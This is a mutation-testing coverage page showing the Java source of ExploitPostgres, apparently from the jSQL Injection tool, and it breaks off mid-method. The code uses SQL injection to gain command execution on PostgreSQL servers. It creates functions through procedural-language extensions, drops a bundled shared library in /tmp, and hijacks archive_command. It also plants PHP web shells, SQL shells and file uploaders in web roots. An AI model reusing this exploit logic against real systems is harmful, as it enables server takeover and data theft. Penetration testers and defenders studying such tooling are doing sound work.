ExploitPostgres.java

1
package com.jsql.model.accessible.engine;
2
3
import com.jsql.model.InjectionModel;
4
import com.jsql.model.accessible.DataAccess;
5
import com.jsql.model.accessible.ResourceAccess;
6
import com.jsql.model.accessible.engine.postgres.ModelYamlPostgres;
7
import com.jsql.model.bean.database.MockElement;
8
import com.jsql.model.suspendable.Input;
9
import com.jsql.view.subscriber.Seal;
10
import com.jsql.model.exception.AbstractSlidingException;
11
import com.jsql.model.exception.InjectionFailureException;
12
import com.jsql.model.exception.JSqlException;
13
import com.jsql.model.exception.JSqlRuntimeException;
14
import com.jsql.model.injection.engine.model.EngineYaml;
15
import com.jsql.model.suspendable.SuspendableGetRows;
16
import com.jsql.util.LogLevelUtil;
17
import com.jsql.util.StringUtil;
18
import org.apache.commons.lang3.RandomStringUtils;
19
import org.apache.commons.lang3.StringUtils;
20
import org.apache.logging.log4j.LogManager;
21
import org.apache.logging.log4j.Logger;
22
import org.yaml.snakeyaml.Yaml;
23
24
import java.io.File;
25
import java.io.FileInputStream;
26
import java.io.IOException;
27
import java.io.InputStream;
28
import java.net.http.HttpResponse;
29
import java.util.Arrays;
30
import java.util.List;
31
import java.util.Objects;
32
import java.util.UUID;
33
import java.util.function.BinaryOperator;
34
35
public class ExploitPostgres {
36
37
    private static final Logger LOGGER = LogManager.getRootLogger();
38
    private final InjectionModel injectionModel;
39
    private String nameExtension = StringUtils.EMPTY;
40
    private final ModelYamlPostgres modelYaml;
41
42
    public ExploitPostgres(InjectionModel injectionModel) {
43
        this.injectionModel = injectionModel;
44
        var yaml = new Yaml();
45
        this.modelYaml = yaml.loadAs(
46
            injectionModel.getMediatorEngine().getPostgres().instance().getModelYaml().getResource().getExploit(),
47
            ModelYamlPostgres.class
48
        );
49
    }
50
51
    public void createUdf(String nameExtension) throws JSqlException {
52
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Exploit mode forced to query body");
53
54 1 1. createUdf : negated conditional → NO_COVERAGE
        if (StringUtils.isNotEmpty(nameExtension)) {
55
            this.setRceExtensionWhenActive(false, nameExtension);
56
        } else {
57
            var isUdfActive = this.setRceProgramWhenActive();
58
            isUdfActive = this.setRceExtensionWhenActive(isUdfActive, nameExtension);
59
            isUdfActive = this.setRceLibraryWhenActive(isUdfActive);
60 1 1. createUdf : removed call to com/jsql/model/accessible/engine/ExploitPostgres::setRceArchiveWhenActive → NO_COVERAGE
            this.setRceArchiveWhenActive(isUdfActive);
61
        }
62
    }
63
64
    private String getCreateBasicExtension() {
65
        String plCreateExtension = null;
66 1 1. getCreateBasicExtension : negated conditional → NO_COVERAGE
        if (this.nameExtension.startsWith("plpython")) {
67
            plCreateExtension = String.format(this.modelYaml.getUdf().getPlpython(), this.nameExtension);
68 1 1. getCreateBasicExtension : negated conditional → NO_COVERAGE
        } else if (this.nameExtension.startsWith("plperl")) {
69
            plCreateExtension = this.modelYaml.getUdf().getPlperl();
70 1 1. getCreateBasicExtension : negated conditional → NO_COVERAGE
        } else if (this.nameExtension.startsWith("pltcl")) {
71
            plCreateExtension = this.modelYaml.getUdf().getPltcl();
72 1 1. getCreateBasicExtension : negated conditional → NO_COVERAGE
        } else if (this.nameExtension.startsWith("plr")) {
73
            plCreateExtension = this.modelYaml.getUdf().getPlr();
74 1 1. getCreateBasicExtension : negated conditional → NO_COVERAGE
        } else if (this.nameExtension.startsWith("pllua")) {
75
            plCreateExtension = this.modelYaml.getUdf().getPllua();
76 1 1. getCreateBasicExtension : negated conditional → NO_COVERAGE
        } else if (this.nameExtension.startsWith("plsh")) {
77
            plCreateExtension = this.modelYaml.getUdf().getPlsh();
78
        }
79 1 1. getCreateBasicExtension : replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::getCreateBasicExtension → NO_COVERAGE
        return plCreateExtension;
80
    }
81
82
    private boolean setRceProgramWhenActive() {
83
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Program] requirements: stack query");
84
        var nameTempTable = RandomStringUtils.secure().nextAlphabetic(8);
85
        this.injectionModel.injectWithoutIndex(String.format(
86
            this.modelYaml.getFile().getWrite().getTempTable().getAdd(),
87
            nameTempTable
88
        ), ResourceAccess.TBL_CREATE);
89
        this.injectionModel.injectWithoutIndex(String.format(
90
            this.modelYaml.getUdf().getProgram().getRun(),
91
            nameTempTable,
92
            ResourceAccess.WEB_CONFIRM_CMD
93
        ), ResourceAccess.TBL_FILL);
94
        var result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
95
            this.modelYaml.getUdf().getProgram().getGetResult(),
96
            nameTempTable
97
        ), ResourceAccess.TBL_READ);
98 1 1. setRceProgramWhenActive : negated conditional → NO_COVERAGE
        if (result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
99
            LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Program] successful: command execution found");
100 1 1. setRceProgramWhenActive : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
            this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(this::runRceProgramCmd));
101 1 1. setRceProgramWhenActive : replaced boolean return with false for com/jsql/model/accessible/engine/ExploitPostgres::setRceProgramWhenActive → NO_COVERAGE
            return true;
102
        }
103 1 1. setRceProgramWhenActive : replaced boolean return with true for com/jsql/model/accessible/engine/ExploitPostgres::setRceProgramWhenActive → NO_COVERAGE
        return false;
104
    }
105
106
    private boolean setRceExtensionWhenActive(boolean isUdfActive, String nameExtension) throws JSqlException {
107 1 1. setRceExtensionWhenActive : negated conditional → NO_COVERAGE
        if (isUdfActive) {
108 1 1. setRceExtensionWhenActive : replaced boolean return with false for com/jsql/model/accessible/engine/ExploitPostgres::setRceExtensionWhenActive → NO_COVERAGE
            return true;
109
        }
110 1 1. setRceExtensionWhenActive : negated conditional → NO_COVERAGE
        if (StringUtils.isNotEmpty(nameExtension)) {
111
            this.nameExtension = this.getExtensionWhenCreated(nameExtension);  // could fail but IT only
112
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "IT RCE [Extension]: searching [{}], found [{}]", nameExtension, this.nameExtension);
113
        } else {
114
            this.nameExtension = StringUtils.EMPTY;
115
            LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Extension] requirements: stack query, any of py/sh/pl/lua/sql/r/tcl installed");
116
            for (var ext: Arrays.asList("plpython3u", "plpython2u", "plpythonu", "plperlu", "pltclu", "pllua", "plsh", "sql", "plr")) {
117 1 1. setRceExtensionWhenActive : negated conditional → NO_COVERAGE
                if (StringUtils.isEmpty(this.nameExtension)) {
118
                    this.nameExtension = this.getExtensionWhenCreated(ext);
119
                }
120
            }
121 1 1. setRceExtensionWhenActive : negated conditional → NO_COVERAGE
            if (StringUtils.isEmpty(this.nameExtension)) {
122
                LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "RCE [Extension] failure: no extension found");
123 1 1. setRceExtensionWhenActive : replaced boolean return with true for com/jsql/model/accessible/engine/ExploitPostgres::setRceExtensionWhenActive → NO_COVERAGE
                return false;
124
            }
125
        }
126
127
        this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getDropFunc(), ResourceAccess.DROP_FUNC);
128
129
        String plCreateBasicExtension = this.getCreateBasicExtension();
130 1 1. setRceExtensionWhenActive : negated conditional → NO_COVERAGE
        if (plCreateBasicExtension != null) {
131
            this.injectionModel.injectWithoutIndex(plCreateBasicExtension, ResourceAccess.ADD_FUNC);
132 1 1. setRceExtensionWhenActive : negated conditional → NO_COVERAGE
        } else if (this.nameExtension.startsWith("sql")) {
133
            this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getDropTable(), ResourceAccess.TBL_DROP);
134
            this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getCreateTable(), ResourceAccess.TBL_CREATE);
135
            this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getConfirm().getAddFunc(), ResourceAccess.ADD_FUNC);
136
            this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getRunCmd(), ResourceAccess.RUN_FUNC);
137
            var result = this.injectionModel.getResourceAccess().getResult(
138
                String.format(this.modelYaml.getUdf().getSql().getResultCmd(), StringUtils.EMPTY),
139
                ResourceAccess.BODY_CONFIRM
140
            );
141 1 1. setRceExtensionWhenActive : negated conditional → NO_COVERAGE
            if (!"1337".equals(result)) {
142 1 1. setRceExtensionWhenActive : replaced boolean return with true for com/jsql/model/accessible/engine/ExploitPostgres::setRceExtensionWhenActive → NO_COVERAGE
                return false;
143
            }
144
        }
145
146
        var functions = this.injectionModel.getResourceAccess().getResult(
147
            this.modelYaml.getUdf().getSql().getConfirm().getFuncExists(),
148
            ResourceAccess.BODY_CONFIRM
149
        );
150 1 1. setRceExtensionWhenActive : negated conditional → NO_COVERAGE
        if (!functions.contains("exec_cmd")) {
151
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "RCE failure: function not found");
152 1 1. setRceExtensionWhenActive : replaced boolean return with true for com/jsql/model/accessible/engine/ExploitPostgres::setRceExtensionWhenActive → NO_COVERAGE
            return false;
153
        }
154
155
        LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Extension] successful: function found for extension [{}]", this.nameExtension);
156 1 1. setRceExtensionWhenActive : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
        this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(this::runRceExtensionCmd));
157 1 1. setRceExtensionWhenActive : replaced boolean return with false for com/jsql/model/accessible/engine/ExploitPostgres::setRceExtensionWhenActive → NO_COVERAGE
        return true;
158
    }
159
160
    public boolean setRceLibraryWhenActive(boolean isUdfActive) throws JSqlException {
161 1 1. setRceLibraryWhenActive : negated conditional → NO_COVERAGE
        if (isUdfActive) {
162 1 1. setRceLibraryWhenActive : replaced boolean return with false for com/jsql/model/accessible/engine/ExploitPostgres::setRceLibraryWhenActive → NO_COVERAGE
            return true;
163
        }
164
165
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Library] requirements: stack query");
166
        this.injectionModel.injectWithoutIndex(String.format(this.modelYaml.getUdf().getLibrary().getDropFunc()), ResourceAccess.DROP_FUNC);
167
        var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
168
            this.modelYaml.getUdf().getLibrary().getLoFromText(),
169
            String.join(StringUtils.EMPTY, ExploitPostgres.toHexChunks("v10.64"))
170
        ), ResourceAccess.ADD_LOID);
171 1 1. setRceLibraryWhenActive : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(loid)) {
172
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
173 1 1. setRceLibraryWhenActive : replaced boolean return with true for com/jsql/model/accessible/engine/ExploitPostgres::setRceLibraryWhenActive → NO_COVERAGE
            return false;
174
        }
175
        var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".so";
176
        this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
177
            this.modelYaml.getUdf().getLibrary().getLoToFile(),
178
            loid,
179
            "/tmp/" + nameExploit
180
        ), ResourceAccess.WRITE_LOID);
181
        this.injectionModel.injectWithoutIndex(String.format(
182
            this.modelYaml.getUdf().getLibrary().getCreateFunction(),
183
            "/tmp/" + nameExploit
184
        ), ResourceAccess.ADD_FUNC);
185
        String result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
186
            this.modelYaml.getUdf().getLibrary().getRunFunc(),
187
            ResourceAccess.WEB_CONFIRM_CMD + "%20"
188
        ), "confirm");
189 1 1. setRceLibraryWhenActive : negated conditional → NO_COVERAGE
        if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
190
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
191 1 1. setRceLibraryWhenActive : replaced boolean return with true for com/jsql/model/accessible/engine/ExploitPostgres::setRceLibraryWhenActive → NO_COVERAGE
            return false;
192
        }
193
        LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Library] successful");
194 1 1. setRceLibraryWhenActive : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
        this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(this::runRceLibraryCmd));
195 1 1. setRceLibraryWhenActive : replaced boolean return with false for com/jsql/model/accessible/engine/ExploitPostgres::setRceLibraryWhenActive → NO_COVERAGE
        return true;
196
    }
197
198
    private void setRceArchiveWhenActive(boolean isUdfActive) throws JSqlException {
199 1 1. setRceArchiveWhenActive : negated conditional → NO_COVERAGE
        if (isUdfActive) {
200
            return;
201
        }
202
203
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Archive] requirements: archive_mode enabled");
204 1 1. setRceArchiveWhenActive : negated conditional → NO_COVERAGE
        if (!StringUtils.EMPTY.equals(this.runArchive(null))) {
205
            LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Archive] successful: command execution found");
206 1 1. setRceArchiveWhenActive : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
            this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(this::runRceArchiveCmd));
207
        }
208
    }
209
210
    private static List<String> toHexChunks(String filename) throws JSqlException {
211
        try {
212
            byte[] fileData = Objects.requireNonNull(  // getResource > toURI > toPath > readAllBytes() not possible in .jar
213
                ExploitMysql.class.getClassLoader().getResourceAsStream("exploit/postgres/"+ filename +".so")
214
            ).readAllBytes();
215 1 1. toHexChunks : replaced return value with Collections.emptyList for com/jsql/model/accessible/engine/ExploitPostgres::toHexChunks → NO_COVERAGE
            return StringUtil.toHexChunks(fileData);
216
        } catch (IOException e) {
217
            throw new JSqlException(e);
218
        }
219
    }
220
221
    public String runRceLibraryCmd(String command, UUID uuidShell) {
222
        String result;
223
        try {
224
            result = this.injectionModel.getResourceAccess().getResult(String.format(
225
                this.modelYaml.getUdf().getLibrary().getRunFunc(),
226
                command.replace(StringUtils.SPACE, "%20") + "%20"
227
            ), ResourceAccess.RUN_FUNC);
228
        } catch (JSqlException e) {
229
            result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
230
        }
231 1 1. runRceLibraryCmd : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
        this.injectionModel.sendToViews(new Seal.GetTerminalResult(
232
            uuidShell,
233
            result.trim() +"\n"  // missing newline on some extensions
234
        ));
235 1 1. runRceLibraryCmd : replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::runRceLibraryCmd → NO_COVERAGE
        return result;
236
    }
237
238
    private String runArchive(String command) throws JSqlException {
239 1 1. runArchive : negated conditional → NO_COVERAGE
        boolean isSetup = command == null;
240
        String pathResult = "/tmp/cmd.txt";
241
242
        String status = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetStatus(), "wal#status");
243 2 1. runArchive : negated conditional → NO_COVERAGE
2. runArchive : negated conditional → NO_COVERAGE
        if (isSetup && !status.contains("on")) {
244
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: archive_mode disabled");
245
            return StringUtils.EMPTY;
246
        }
247
248
        String pathConf = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetPathConf(), "conf#path");
249
        String loidConf = this.injectionModel.getResourceAccess().getResult(String.format(
250
            this.modelYaml.getFile().getRead().getLargeObject().getFromPath(),
251
            pathConf
252
        ), "conf#loid");
253
        String lengthConf = this.injectionModel.getResourceAccess().getResult(String.format(
254
            this.modelYaml.getUdf().getArchive().getGetConfLength(),
255
            loidConf
256
        ), "conf#size");
257
258
        this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
259
            this.modelYaml.getUdf().getArchive().getPutCmd(),
260
            loidConf,
261
            lengthConf,
262 1 1. runArchive : negated conditional → NO_COVERAGE
            isSetup ? ResourceAccess.WEB_CONFIRM_CMD +"%20" : command,
263
            pathResult
264
        ), "conf#append");
265
266
        this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
267
            this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
268
            loidConf,
269
            pathConf
270
        ), "conf#write");
271
        this.injectionModel.getResourceAccess().getResultWithCatch(this.modelYaml.getUdf().getArchive().getReloadConf(), "wal#reload");
272
273
        String cmdArchive = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetCmd(), "cmd#confirm");
274 2 1. runArchive : negated conditional → NO_COVERAGE
2. runArchive : negated conditional → NO_COVERAGE
        if (isSetup && !cmdArchive.contains(pathResult)) {
275
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: archive command missing");
276
            return StringUtils.EMPTY;
277
        }
278
279
        this.injectionModel.getResourceAccess().getResultWithCatch(this.modelYaml.getUdf().getArchive().getRunWal(), "wal#run");
280
        try {
281 1 1. runArchive : removed call to java/lang/Thread::sleep → NO_COVERAGE
            Thread.sleep(750);  // wait for result as archiving is slow
282
        } catch (InterruptedException e) {
283
            LOGGER.log(LogLevelUtil.IGNORE, e, e);
284 1 1. runArchive : removed call to java/lang/Thread::interrupt → NO_COVERAGE
            Thread.currentThread().interrupt();
285
        }
286
        String loidResult = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
287
            this.modelYaml.getFile().getRead().getLargeObject().getFromPath(),
288
            pathResult
289
        ), "result#loid");
290
        String result = this.injectionModel.getResourceAccess().getResult(String.format(
291
            this.modelYaml.getFile().getRead().getLargeObject().getToText(),
292
            loidResult
293
        ), "result#read");
294
295 2 1. runArchive : negated conditional → NO_COVERAGE
2. runArchive : negated conditional → NO_COVERAGE
        if (isSetup && !result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
296
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: command result missing");
297
            return StringUtils.EMPTY;
298
        }
299 1 1. runArchive : replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::runArchive → NO_COVERAGE
        return result;
300
    }
301
302
    private String getExtensionWhenCreated(String nameExtension) throws JSqlException {
303
        LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Checking extension [{}]", nameExtension);
304
        this.injectionModel.injectWithoutIndex(String.format(
305
            this.modelYaml.getUdf().getExtension().getCreate(),
306
            nameExtension
307
        ), "body#add-ext");
308
        String languages = this.injectionModel.getResourceAccess().getResult(
309
            this.modelYaml.getUdf().getExtension().getLanguages(),
310
            "body#confirm-ext"
311
        );
312 1 1. getExtensionWhenCreated : negated conditional → NO_COVERAGE
        if (languages.contains(nameExtension)) {
313
            LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Language [{}] found: {}", nameExtension, languages);
314 1 1. getExtensionWhenCreated : replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::getExtensionWhenCreated → NO_COVERAGE
            return nameExtension;
315
        }
316
        LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Language [{}] not found: {}", nameExtension, languages);
317
        return StringUtils.EMPTY;
318
    }
319
320
    public String runRceArchiveCmd(String command, UUID uuidShell) {
321
        String result;
322
        try {
323
            result = this.runArchive(command.replace(StringUtils.SPACE, "%20") +"%20");
324
        } catch (JSqlException e) {
325
            result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
326
        }
327 1 1. runRceArchiveCmd : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
        this.injectionModel.sendToViews(new Seal.GetTerminalResult(
328
            uuidShell,
329
            result.trim() +"\n"  // missing newline on some extensions
330
        ));
331 1 1. runRceArchiveCmd : replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::runRceArchiveCmd → NO_COVERAGE
        return result;
332
    }
333
334
    public String runRceProgramCmd(String command, UUID uuidShell) {
335
        String result;
336
        try {
337
            var nameTempTable = RandomStringUtils.secure().nextAlphabetic(8);
338
            this.injectionModel.injectWithoutIndex(String.format(
339
                this.modelYaml.getFile().getWrite().getTempTable().getAdd(),
340
                nameTempTable
341
            ), ResourceAccess.TBL_CREATE);
342
            this.injectionModel.injectWithoutIndex(String.format(
343
                this.modelYaml.getUdf().getProgram().getRun(),
344
                nameTempTable,
345
                command.replace(StringUtils.SPACE, "%20") +"%20"
346
            ), ResourceAccess.TBL_FILL);
347
            result = this.injectionModel.getResourceAccess().getResult(String.format(
348
                this.modelYaml.getUdf().getProgram().getGetResult(),
349
                nameTempTable
350
            ), ResourceAccess.TBL_READ);
351
        } catch (JSqlException e) {
352
            result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
353
        }
354 1 1. runRceProgramCmd : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
        this.injectionModel.sendToViews(new Seal.GetTerminalResult(
355
            uuidShell,
356
            result.trim() +"\n"  // missing newline on some extensions
357
        ));
358 1 1. runRceProgramCmd : replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::runRceProgramCmd → NO_COVERAGE
        return result;
359
    }
360
361
    public String runRceExtensionCmd(String command, UUID uuidShell) {
362
        String result;
363
        try {
364 1 1. runRceExtensionCmd : negated conditional → NO_COVERAGE
            if ("sql".equals(this.nameExtension)) {
365
                this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getClean(), "body#empty-tbl");
366
                this.injectionModel.injectWithoutIndex(String.format(
367
                    this.modelYaml.getUdf().getSql().getRunFunc(),
368
                    command.replace(StringUtils.SPACE, "%20")
369
                ), ResourceAccess.ADD_FUNC);
370
                this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getRunCmd(), ResourceAccess.UDF_RUN_CMD);
371
                result = this.injectionModel.getResourceAccess().getResult(String.format(
372
                    this.modelYaml.getUdf().getSql().getResultCmd(),
373
                    EngineYaml.TRAIL_SQL
374
                ), "body#result") +"\n";
375
            } else {
376
                result = this.injectionModel.getResourceAccess().getResult(
377
                    String.format(
378
                        this.modelYaml.getUdf().getRunFunc(),
379
                        command.replace(StringUtils.SPACE, "%20"),  // prevent SQL cleaning on system cmd: 'ls-l' instead of 'ls -l'
380
                        EngineYaml.TRAIL_SQL
381
                    ),
382
                    ResourceAccess.UDF_RUN_CMD
383
                );
384
            }
385
        } catch (JSqlException e) {
386
            result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
387
        }
388 1 1. runRceExtensionCmd : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
        this.injectionModel.sendToViews(new Seal.GetTerminalResult(
389
            uuidShell,
390
            result.trim() +"\n"  // missing newline on some extensions
391
        ));
392 1 1. runRceExtensionCmd : replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::runRceExtensionCmd → NO_COVERAGE
        return result;
393
    }
394
395
    public String createWeb(String pathExploit, String urlExploit) {
396
        String bodyExploit = StringUtil.base64Decode(
397
                this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_WEB)
398
            )
399
            .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
400
            .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
401
402
        var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
403
            this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
404
            bodyExploit.replace("'", "\"")
405
        ), ResourceAccess.ADD_LOID);
406 1 1. createWeb : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(loid)) {
407
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
408
            return StringUtils.EMPTY;
409
        }
410
        var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
411
        this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
412
            this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
413
            loid,
414
            pathExploit + nameExploit
415
        ), ResourceAccess.WRITE_LOID);
416
417
        BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
418
            String result = this.injectionModel.getResourceAccess().callCommand(
419
                urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
420
            );
421 1 1. lambda$createWeb$0 : negated conditional → NO_COVERAGE
            if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
422
                LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
423
                return StringUtils.EMPTY;
424
            }
425 1 1. lambda$createWeb$0 : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
            this.injectionModel.sendToViews(new Seal.AddTabExploitWeb(urlSuccess));
426 1 1. lambda$createWeb$0 : replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::lambda$createWeb$0 → NO_COVERAGE
            return urlSuccess;
427
        };
428
429 1 1. createWeb : replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::createWeb → NO_COVERAGE
        return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
430
    }
431
432
    public String createSql(String pathExploit, String urlExploit, String username, String password) {
433
        BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
434
            var resultQuery = this.injectionModel.getResourceAccess().runSqlShell(
435
                ResourceAccess.SQL_CONFIRM_CMD,
436
                null,
437
                urlSuccess,
438
                username,
439
                password,
440
                false
441
            );
442 2 1. lambda$createSql$1 : negated conditional → NO_COVERAGE
2. lambda$createSql$1 : negated conditional → NO_COVERAGE
            if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) {
443 1 1. lambda$createSql$1 : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
                this.injectionModel.sendToViews(new Seal.AddTabExploitSql(urlSuccess, username, password));
444 1 1. lambda$createSql$1 : replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::lambda$createSql$1 → NO_COVERAGE
                return urlSuccess;
445
            }
446
            return StringUtils.EMPTY;
447
        };
448
449
        String bodyExploit = StringUtil.base64Decode(
450
                this.injectionModel.getMediatorUtils().propertiesUtil().getProperty("exploit.sql.pdo.pgsql")
451
            )
452
            .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
453
            .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
454
455
        var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
456
            this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
457
            bodyExploit.replace("'", "\"")
458
        ), ResourceAccess.ADD_LOID);
459 1 1. createSql : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(loid)) {
460
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
461
            return StringUtils.EMPTY;
462
        }
463
        var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
464
        this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
465
            this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
466
            loid,
467
            pathExploit + nameExploit
468
        ), ResourceAccess.WRITE_LOID);
469
470 1 1. createSql : replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::createSql → NO_COVERAGE
        return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
471
    }
472
473
    public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
474
        String bodyExploit = StringUtil.base64Decode(
475
                this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
476
            )
477
            .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
478
            .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
479
480
        var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
481
            this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
482
            bodyExploit.replace("'", "\"")
483
        ), ResourceAccess.ADD_LOID);
484 1 1. createUpload : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(loid)) {
485
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
486
            return;
487
        }
488
        var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
489
        this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
490
            this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
491
            loid,
492
            pathExploit + nameExploit
493
        ), ResourceAccess.WRITE_LOID);
494
495
        BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
496
            try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
497
                HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
498 1 1. lambda$createUpload$2 : negated conditional → NO_COVERAGE
                if (result.body().contains(DataAccess.LEAD +"y")) {
499
                    LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
500
                } else {
501
                    LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
502
                }
503
            } catch (InterruptedException e) {
504
                LOGGER.log(LogLevelUtil.IGNORE, e, e);
505 1 1. lambda$createUpload$2 : removed call to java/lang/Thread::interrupt → NO_COVERAGE
                Thread.currentThread().interrupt();
506
            } catch (IOException | JSqlException e) {
507
                throw new JSqlRuntimeException(e);
508
            }
509 1 1. lambda$createUpload$2 : replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::lambda$createUpload$2 → NO_COVERAGE
            return urlSuccess;
510
        };
511
512
        this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
513
    }
514
515
    public String getRead(String pathFile) throws AbstractSlidingException {
516
        String resultToParse = StringUtils.EMPTY;
517
        try {
518
